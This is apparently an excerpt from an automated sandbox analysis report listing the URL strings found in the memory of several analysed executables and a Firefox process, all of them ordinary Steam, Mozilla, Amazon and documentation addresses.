Source: file.exe, 00000000.00000003.1707367148.000000000114E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013E5000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477576841.000000000135A000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000002.2803946983.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803470311.0000000000CFE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/javascript/applications/community/main.js?v=4XouecKy8sZy&am
Source: file.exe, 00000000.00000003.1707367148.000000000114E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477576841.000000000135A000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000002.2803946983.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803470311.0000000000CFE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/javascript/applications/community/manifest.js?v=r7a4-LYcQOj
Source: 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/javascript/global.js?v=7qlUmHSJhPRN&l=english
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/javascript/modalContent.js?v=XpCpvP7feUoO&l=english
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/javascript/profile.js?v=bbs9uq0gqJ-H&l=english
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/javascript/promo/stickers.js?v=W8NP8aTVqtms&l=english
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781919198.000000000071B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=english
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL&l=
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/javascript/webui/clientcom.js?v=jq1jQyX1843y&l=english
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781919198.000000000071B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/shared/css/buttons.css?v=-WV9f1LdxEjq&l=english
Source: 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781919198.000000000071B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/shared/css/motiva_sans.css?v=v7XTmVzbLV33&l=english
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781919198.000000000071B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/shared/css/shared_global.css?v=uF6G1wyNU-4c&l=english
Source: file.exe, 00000000.00000003.1895523136.000000000114F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1907542760.000000000114D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781919198.000000000071B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/shared/css/shared_responsive.css?v=kR9MtmbWSZEp&l=engli
Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1&l=engl
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/shared/javascript/shared_global.js?v=7glT1n_nkVCs&l=eng
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSvIAKtunf
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: firefox.exe, 00000015.00000003.2083904396.0000016C138F5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2015668492.0000016C08E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2014816814.0000016C08E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2015993176.0000016C08E77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2015268817.0000016C08E3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2014566656.0000016C0B100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000015.00000003.2205679702.0000016C0D866000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 00000015.00000003.2230082437.0000016C139B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2201687644.0000016C133DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2234346189.0000016C133E2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 00000015.00000003.2196521682.0000016C7F5AD000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2723869326.000000000537A000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2714716292.0000000005374000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2717946351.0000000005374000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2742010534.00000000006E6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: firefox.exe, 00000015.00000003.2196521682.0000016C7F5AD000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2723869326.000000000537A000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2714716292.0000000005374000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2717946351.0000000005374000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2742010534.00000000006E6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000015.00000003.2204634484.0000016C0DE42000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000015.00000003.2124955286.0000016C13530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2179386446.0000016C13536000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 00000015.00000003.2261116618.0000016C0B391000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2220389420.0000016C0AFBB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://datastudio.google.com/embed/reporting/
Source: firefox.exe, 00000015.00000003.2249656043.0000016C7FE12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 00000015.00000003.2242930006.0000016C0EAE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc
Source: firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
